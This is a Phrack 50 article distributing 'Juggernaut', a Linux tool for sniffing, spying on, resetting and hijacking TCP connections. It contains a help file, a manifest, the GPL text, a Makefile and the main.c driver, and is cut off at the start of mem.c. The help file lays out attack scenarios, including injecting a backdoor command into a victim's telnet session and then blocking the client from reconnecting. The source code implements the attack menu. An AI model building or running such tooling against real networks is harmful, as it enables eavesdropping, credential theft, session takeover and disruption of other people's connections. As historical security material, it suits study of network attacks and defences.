.oO Phrack 50 Oo. Volume Seven, Issue Fifty 6 of 16 J U G G E R N A U T route|daemon9 a guild corporation production 1996/7 Please use the included extract.c utility to extract the files and then read the Install file. Any problems/comments mail me route@infonexus.com. A boot image is forthcoming that will allow a user to simply pop a disk into most any networked PC and turn it into a Juggernaut workstation. <++> Juggernaut/ClothLikeGauze/.help Juggernaut 1.0 Help File |-------- |Overview |-------- Juggernaut is a robust network tool for the Linux OS. It contains several modules offering a wide degree of functionality. Juggernaut has been tested successfully on several different Linux machines on several different networks. However, your mileage may vary depending on the network topologies of the environment (ie: Smart hubbing will kill much of the packet sniffing functionality...) and, to a lesser extent, the machine running Juggernaut. If something doesn't work, use a network debugger and figure out why... Juggernaut v1.0 was originally published in Phrack Magazine, issue 50; on April 9, 1997. Any serious problems/bugs or comments, please mail me: route@infonexus.com |--------------------- |Command Line Options |--------------------- juggernaut -h Quick help. juggernaut -H Dumps this help file. juggernaut -v By default, Juggernaut conveys error messages and other diagnostic information to the user. Specifying this option will cause Juggernaut to shut the hell up. Not recommended unless you know what you are doing. juggernaut -t xx [ juggernaut -t 5 ] This option specifies the network read timeout (which defaults to 10 seconds). This value reflects how long Juggernaut will wait for network traffic before giving up. In this case, it will wait 5 seconds. juggernaut -s TOKEN [ juggernaut -s login ] Dedicated sniffing mode. Juggernaut will drop to the background and examine all TCP packets looking for TOKEN. When TOKEN is located, it then isolates that TCP circuit and captures the next 16 (the default enticement factor) packets and logs them to a file. It then resets and continues sifting through TCP traffic looking for TOKEN. juggernaut -s TOKEN -e xx [ juggernaut -s daemon9 -e 1000 ] By specifying a larger enticement factor, you can capture more packets from a session. This time, after locating TOKEN, Juggernaut will capture 1000 packets before reseting. juggernaut This starts the program in standard mode. |------------- |Menu Options |------------- This is normal mode of operation for Juggernaut. This is where the magic happens, this is where the fun is. The program will examine all network traffic and add suitable TCP connections to the connection database (which is viewed with option 1). After at least one connection is in the database, you can start mucking around with it (connection construction and destruction are indicated by the appearance of the "+" or the "-" at the console). Note that connections involving a local interface may not show up (unless the localhost is dual-homed). One possible shortcoming of the program is the fact that it stores very little state information about connections in the database. Juggernaut collects whatever information it needs (and doesn't have) on the fly. As such, a quiet connection (no traffic) will elude hijacking and reseting. The benefit of this is the fact that the program does not have to tie itself up updating the shared memory segment with state every time a packet flies by. ?) Help This file. 0) Program information Dumps some stuff... 1) Connection database Dumps the current connection list and percent to capacity. Gives the option to wipe the database. 2) Spy on a connection Allows a user to spy on any connection in the database, with the option of logging the entire session to a file. 3) Reset a connection Allows the user to destroy any existing connection in the database. 4) Automated connection reset daemon Allows the user to setup an automated TCP RST daemon that will listen for connection request attempts from a specified source host (and optionally a destination host) and then reset them before they have a chance to complete. Requires a source IP address and optionally a destination address. This module prints a "*" to the console when a connection request attempt is attempted and denied... 5) Simplex connection hijack Allows the user to insert a command into a telnet based TCP stream. A short ACK storm ensues until the connection is subsequently reset. 6) Interactive connection hijack Allows the user to take over a session from a legitimate client. This desynchs the client from the server as the user takes over. The resulting ACK storm can be catastrophic and makes this interactive session prone to failure. If both of the target hosts are on an ethernet, expect a momunmental ACK storm. 7) Packet assembly module The Prometheus module. Construction of TCP, UDP, ICMP, and IP packets. The user has complete control over most of the header fields and can opt for generating a pseudo-random value. This module is far from done and needs some serious work. 8) Souper sekret option number eight Sshh. 9) Step down Quitter. |------------- |Suggested Use |------------- scenario 1: The passive observer menu options 1,2 The user is curious. She simply waits for connections to arrive and then passively observes them. Several invocations of Juggernaut may be started, each spying on a different connection. The user does not modify the flow of data or control. scenario 2: The malicious observer menu options 1,2,3 Same scenario as above, except the user alters the flow of control and opts to destroy connections at some point. scenario 3: The active observer menu options 1,2,3,5,(6) Same as the previous situations, however the user inserts data into the stream before destroying it. scenario 4: The imp menu options 1,2,3,4 The user is an impish devil and simply wants to cause trouble by setting up multiple ACRST daemons. scenario 5: The active observer with poisonous reverse menu options 1,2,4,5 The user waits until a client establishes a connection with a targeted server and then sets up the ACRST daemon to destroy all further connection-request attempts from the client. The user then spys on the connection, waiting for an opportune time to inject a hijack packet into the stream containing a backdooring command/pipeline. The client will then have her connection RST (after a brief ACK storm). If the client attempts to re-establish the connection with the server, she will be denied and likely think it is a transient network error. The user can then login into the server using the backdoor without fear of the client logging back in. Juggernaut is a Guild Corporation production, (c) 1996/7. [corporate persuasion through Internet terrorism] EOF <--> <++> Juggernaut/ClothLikeGauze/MANIFEST File Manifest for Juggernaut 1.0 ---------------------------- 1996/7 daemon9[guild|phrack|r00t] ---------------------------- ClothLikeGauze/ Docs .help Helpfile copyright The legal tie that binds. Install Installation instructions MANIFEST This file Makefile makefile NumberOneCrush/ Sources main.c main logic mem.c shared memory/semaphore functions menu.c menu functions prometheus.c packet assembly workshop module net.c socket/network functions surplus.c dumping ground Version history --------------- version a1: ----------- 11.30.96: Decided to start. Juggernaut framework and queue stuff. Used linked list queue originally to store connections. 12.01.96: Sniffing/spying/logging/RST stuff. 12.02-04: Not sure what I did here. I think I had a large turkey samich. 12.05.96: Redid memory abstract data type. Multithreaded. Implemented shared memory segment and semaphore for access control. Dumped ALL the dynamic memory allocation code. 12.06.96: Added packet assembly workshop hooks. Added curses. Removed curses. 12.07.96: No coding today. 12.08.96: Non-interactive hijacking completed. I think we're ready for beta now. version b1: ----------- 12.09.96: IP_HDRINCL crap added. 12.15-18: I was in NYC for the r00tparty. No coding then. 12.19.96: Added automated RST stuff. 12.20-27: No coding. 12.28.96: Started work on interactive hijacking. Damned ACK storms. 12.30.96: Started packet assembly module for reals. version b2: ----------- 01.25.97: Added network timeout logic. 01.26.97- 04.01.97: How can you possibly expect me to account for all that time? I went to Germany with alhambra for a networking summit and all over the US for other work, I was even in a Discovery special on IW... version 1.0: ------------ 04.02.97: Here it is. <--> <++> Juggernaut/ClothLikeGauze/ToDo Juggernaut ToDo list -------------------- + re-structure multitasking model to give the option of using multi-processing OR multi-threading + Create boot image + Support for ongoing connections + Support for healthy choice hotdog sequencer + Add arp cache seeding routine; as connections are added, MAC addresses will be added to the arp cache + Add support for different verbosity levels + Add support for IP and TCP options in packet assembly module + Better packet assembly support as a whole + Better code module plug-in support + much more robust packet sniffing module with support for multiple protocols + um, interactive hijacking that doesn't kill the client <--> <++> Juggernaut/ClothLikeGauze/copyright Juggernaut Copyright (c) 1996/7 by daemon9/route [Guild] (route@infonexus.com) Juggernaut source code, documentation, auxilliary programs, and executables are Copyright 1996/7 daemon9[guild]. All rights reserved. ---------------------------------------------------------------------- GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave, Cambridge, MA 02139, USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS Appendix: How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) 19yy This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. <--> <++> Juggernaut/Install Juggernaut 1.0 Installation Instructions ---------------------------------------- 1. Are you a fucking moron? If so, goto step 6; you are done. 2. Edit the Makefile. You may wish to change a few of the defines: USENAME: Define this to have Juggernaut attempt to resolve IP addresses into FQDNs... It's slower but more verbose this way. MULTI_P: Define this to use multi-process model of multi-tasking. THREAD: Define this to use multi-threaded model of multi-tasking. Be sure to also link in the pthreads library. Not implemented yet. IP_HDRINCL: Define this if you want/need to use the IP_HDRINCL socket option to build IP headers. NOHUSH: If defined, Juggernaut will notify the user audibly when a connection is added. GREED: If defined, Juggernaut will attempt to add any and ALL TCP based connections to the database. This is not recommended unless you know what you are doing... FASTCHECK: Define this to use a fast x86 assembler implementation of the IP checksum routine. May not work on all systems. That's why you have the option. 3. make all 4. yay. 5. ./juggernaut -h <--> <++> Juggernaut/Makefile # Juggernaut Makefile # 1996/7 daemon9[guild|phrack|r00t] CC = gcc #LIBS = -L/usr/lib -lpthread CFLAGS = -O3 -funroll-loops -fomit-frame-pointer -pipe -m486 #-Wall DEFINES = -DMULTI_P -DNOHUSH -DUSENAME -DFASTCHECK DEFINES += #-DGREED #-DIP_HDRINCL #-DTHREAD OBJECTS = NumberOneCrush/main.o NumberOneCrush/menu.o\ NumberOneCrush/mem.o NumberOneCrush/prometheus.o\ NumberOneCrush/net.o NumberOneCrush/surplus.o .c.o: $(CC) $(CFLAGS) $(DEFINES) -c $< -o $@ all: JUGGERNAUT JUGGERNAUT: $(OBJECTS) $(CC) $(CFLAGS) $(DEFINES) $(OBJECTS) $(LIBS) -o juggernaut strip juggernaut clean: rm -f core juggernaut juggernaut.log.snif juggernaut.log.spy rm -rf NumberOneCrush/*.o <--> <++> Juggernaut/NumberOneCrush/main.c /* * * Juggernaut * Version b2 * * 1996/7 Guild productions * daemon9[guild|phrack|r00t] * * comments to route@infonexus.com * * This coding project made possible by a grant from the Guild corporation * * main.c - main control logic and program driver. Consists mainly of wrappers * to setup the main subfunctions. * * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef THREAD #include #endif #define MINIBUF 10 #define BUFSIZE 512 #define DEVICE "eth0" #define LOGFILE "./juggernaut.log.spy" char version[]="1.0\0"; int sigsentry=1; /* Signal sentry */ int ripsock=0; /* RIP socket */ int linksock=0; /* SOCK PACKET socket */ int hpid=0; /* hunter child PID */ int acrstpid=0; /* automated connection reset PID */ int netreadtimeout=10; /* Network read timeout in seconds */ int verbosity=1; /* Level of verbosity */ int enticementfactor=16; /* Enticing packets!@ */ time_t uptime=0; /* How long have we been running */ struct connectionInfo{ /* Simple tuple information */ unsigned long saddr; /* Source IP */ unsigned long daddr; /* Destination IP */ unsigned short sport; /* Source TCP Port */ unsigned short dport; /* Destination TCP Port */ }; /* * Main control logic. All the main logic is implemented in the switch * statement. */ int main(argc,argv) int argc; char *argv[]; { void usage(char *); void hunt(); void spy(); void rst(); void arst(); void pkta(); void simplexhijack(); void hijack(); void powerup(); void minit(); void mwipe(); void mmain(); void twitch(); void cleanexit(); void bloodhound(char *,int); void bookworm(); void dbmanip(); void jinfo(); int rawsock(); int tap(); float dump(); char buf[MINIBUF]={0}; char token[2*MINIBUF]={0}; int c; if(geteuid()||getuid()){ /* r00t? */ fprintf(stderr,"UID or EUID of 0 needed...\n"); exit(0); } /* Parse command-line arguments */ while((c=getopt(argc,argv,"s:e:t:vVhH"))!=-1){ switch(c){ case 's': /* dedicated sniffing mode */ strncpy(token,optarg,(sizeof(token)-1)); break; case 'e': /* Enticement factor (only valid with -s option) */ enticementfactor=atoi(optarg); break; case 't': /* Network alarm timeout */ netreadtimeout=atoi(optarg); break; case 'v': /* decrease verbosity */ verbosity=0; break; case 'V': /* version info */ jinfo(); exit(0); case 'h': /* Help is on the way my friend */ usage(argv[0]); exit(0); case 'H': /* Help is on the way my friend */ bookworm(); exit(0); default: usage(argv[0]); break; } } if(token[0]){ bloodhound(token,enticementfactor); exit(0); } mwipe(); minit(); /* Initial menu */ fprintf(stderr,"[cr]"); getchar(); signal(SIGINT,twitch); /* Catch these signals */ signal(SIGQUIT,twitch); ripsock=rawsock(); /* Setup RIP socket */ linksock=tap(DEVICE); /* Setup link socket */ powerup(); /* Setup shared memory and semaphore */ time(&uptime); /* Start the uptime timer */ hunt(); /* Start the connection hunter */ while(1){ mwipe(); mmain(); bzero(&buf,sizeof(buf)); fgets(buf,sizeof(buf),stdin); switch(buf[0]){ case '?': mwipe(); bookworm(); mwipe(); break; case '0': mwipe(); jinfo(); mwipe(); break; case '1': mwipe(); dbmanip(); mwipe(); break; case '2': /* Watch a connection. */ mwipe(); spy(); mwipe(); break; case '3': /* Kill a connection. */ mwipe(); rst(); mwipe(); break; case '4': /* Automated CRST daemon. */ mwipe(); arst(); mwipe(); break; case '5': /* Insert a single command. */ mwipe(); simplexhijack(); mwipe(); break; case '6': /* Hijack the session from the client */ mwipe(); hijack(); mwipe(); break; case '7': /* The packet assembly workshop */ mwipe(); pkta(); mwipe(); break; case '8': /* For future use. */ break; case '9': cleanexit(); default: continue; } } /* NOT REACHED */ return(0); } /* * chunt wrapper */ void hunt(){ #ifdef MULTI_P void spasm(); /* Handles the user defined signal */ void chunt(); switch((hpid=fork())){ case 0: /* Child */ signal(SIGUSR1,spasm); signal(SIGINT,SIG_IGN); /* Catch these signals */ signal(SIGQUIT,SIG_IGN); close(ripsock); /* Not needed in hunter */ chunt(); default: break; /* Parent continues */ case -1: if(verbosity)perror("(hunt) internal forking error [fatal]"); exit(1); } #endif #ifdef THREAD MULTIPLE THREADS OF EXECUTION IS NOT IMPLEMENTED YET. void chunt(); pthread_t hunter_t; pthread_create(&hunter_t,NULL,(void *)chunt(),(void *)NULL); #endif } /* * cspy wrapper */ void spy(){ void convulsion(); float dump(); struct connectionInfo *checkc(int); void cspy(struct connectionInfo *,FILE *); char buf[MINIBUF]; unsigned short val; struct connectionInfo *target; FILE *fp=0; dump(); while(1){ fprintf(stderr,"\nChoose a connection [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q')return; if(!(int)(val=atoi(buf)))continue; if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n"); else break; } fprintf(stderr,"\nDo you wish to log to a file as well? [y/N] >"); fgets(buf,sizeof(buf),stdin); if(toupper(buf[0])=='Y'){ if(!(fp=fopen(LOGFILE,"a+"))){ if(verbosity){ fprintf(stderr,"Cannot open file for logging, skipping operation.\n"); fprintf(stderr,"[cr]"); getchar(); } } } fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when done.\n"); signal(SIGINT,convulsion); sigsentry=1; cspy(target,fp); if(fp)fclose(fp); } /* * crst wrapper */ void rst(){ void convulsion(); float dump(); void crst(struct connectionInfo *); struct connectionInfo *checkc(int); char buf[MINIBUF]; unsigned short val; struct connectionInfo *target; dump(); while(1){ fprintf(stderr,"\nChoose a connection [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q')return; if(!(int)(val=atoi(buf)))continue; if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n"); else break; } signal(SIGINT,convulsion); crst(target); fprintf(stderr,"[cr]"); getchar(); } /* * acrst wrapper */ void arst(){ void convulsion(); float dump(); void acrst(unsigned long,unsigned long); char *hostLookup(unsigned long); unsigned long nameResolve(char *); char buf[4*MINIBUF]; unsigned long source,target; /* Setup addresing info */ fprintf(stderr,"\nEnter source IP [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q')return; if(!(source=nameResolve(buf))){ if(verbosity){ fprintf(stderr,"Name lookup failure: `%s`\n[cr]",buf); getchar(); } return; } fprintf(stderr,"\nEnter target IP (optional) [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='q')return; if(buf[0]==0x0a)target=0; /* target may be null, in this case, we only care where the connection is coming from */ else if(!(target=nameResolve(buf))){ if(verbosity){ fprintf(stderr,"Name lookup failure: %s\n[cr]",buf); getchar(); } return; } if(!target)fprintf(stderr,"Reseting all connection requests from:\t %s\n",hostLookup(source)); else fprintf(stderr,"Reseting all connection requests from:\t %s --> %s\n",hostLookup(source),hostLookup(target)); fprintf(stderr,"[cr]"); getchar(); acrst(source,target); } /* * dumpc wrapper */ float dump(){ float dumpc(); float usage=0; fprintf(stderr,"\nCurrent Connection Database:\n"); fprintf(stderr,"-------------------------------------------------\n"); fprintf(stderr,"ref # source target \n\n"); usage=dumpc(); fprintf(stderr,"-------------------------------------------------\n"); return usage; } /* * database manipulation routines go here.. */ void dbmanip(){ float dump(); void cleardb(); float usage=0; char buf[MINIBUF]; usage=dump(); if(usage)fprintf(stderr,"\nDatabase is %.02f%% to capacity.",usage); else fprintf(stderr,"\nDatabase is empty."); fprintf(stderr,"\n[c,q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='c'){ fprintf(stderr,"\nClear entire connection database? [y/N] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='y'){ cleardb(); fprintf(stderr,"\nConnection database cleared.\n[cr]"); getchar(); } } } /* * Juggernaut version and option information */ void jinfo(){ time_t current=0; fprintf(stderr,"Juggernaut %s route@infonexus.com [guild 1996/7]\n",version); fprintf(stderr,"\nJuggernaut compiled with the following options:\n"); #ifdef MULTI_P fprintf(stderr," Multi-processing\n"); #endif #ifdef NOHUSH fprintf(stderr," Audible notification\n"); #endif #ifdef USENAME fprintf(stderr," Use hostnames\n"); #endif #ifdef GREED fprintf(stderr," Greedy connections\n"); #endif #ifdef FASTCHECK fprintf(stderr," Fast IP checksuming\n"); #endif #ifdef IP_HDRINCL fprintf(stderr," IP header include\n"); #endif #ifdef THREAD fprintf(stderr," Multi-threading\n"); #endif time(¤t); fprintf(stderr,"Juggernaut has been running %.02f minutes\n",(difftime(current,uptime)/60)); fprintf(stderr,"[cr]"); getchar(); } /* * csimplexhijack wrapper */ void simplexhijack(){ void sputter(); float dump(); void csimplexhijack(struct connectionInfo *,char *); void cspy(struct connectionInfo *,FILE *); struct connectionInfo *checkc(int); char buf[MINIBUF]; char commandbuf[BUFSIZE]; unsigned short val; struct connectionInfo *target; dump(); while(1){ fprintf(stderr,"\nChoose a connection [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q')return; if(!(int)(val=atoi(buf)))continue; if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n"); else break; } if(ntohs(target->dport)!=23){ fprintf(stderr,"Hijacking only valid with telnet connections.\n"); fprintf(stderr,"[cr]"); getchar(); return; } fprintf(stderr,"Enter the command string you wish executed [q] >"); fgets(commandbuf,sizeof(commandbuf),stdin); if(commandbuf[0]==0x0a)return; fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when you want to hijack.\n"); fprintf(stderr,"\nNOTE: This may cause an ACK storm until client is RST.\n"); signal(SIGINT,sputter); sigsentry=1; cspy(target,0); csimplexhijack(target,commandbuf); fprintf(stderr,"[cr]"); getchar(); } /* * chijack wrapper */ void hijack(){ void sputter(); float dump(); void chijack(struct connectionInfo *); void cspy(struct connectionInfo *,FILE *); struct connectionInfo *checkc(int); char buf[MINIBUF]; unsigned short val; struct connectionInfo *target; dump(); while(1){ fprintf(stderr,"\nChoose a connection [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q')return; if(!(int)(val=atoi(buf)))continue; if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n"); else break; } if(ntohs(target->dport)!=23){ fprintf(stderr,"Hijacking only valid with telnet connections.\n"); fprintf(stderr,"[cr]"); getchar(); return; } fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when you want to hijack.\n"); fprintf(stderr,"\nNOTE: This will cause an ACK storm and desynch the client until the connection is RST.\n"); signal(SIGINT,sputter); sigsentry=1; cspy(target,0); sigsentry=1; chijack(target); fprintf(stderr,"[cr]"); getchar(); } /* * Prometheus wrapper (packet assembly workshop) */ void pkta(){ void mpkta(); void mwipe(); int prometheus(int); int val,mode; char buf[MINIBUF]; while(1){ mwipe(); mpkta(); fgets(buf,sizeof(buf),stdin); if(!(val=atoi(buf)))continue; switch(val){ case 1: /* TCP */ mode=1; break; case 2: /* UDP */ mode=2; break; case 3: /* ICMP */ mode=3; break; case 4: /* IP */ mode=4; break; case 5: /* Return */ return; default: continue; } if(prometheus(mode))break; } /* NOT REACHED */ } <--> <++> Juggernaut/NumberOneCrush/mem.c /* * * Juggernaut * Version b1 * * 1996/7 Guild productions * daemon9[guild|phrack|r00t] * * comments to route@infonexus.com * * This coding project made possible by a 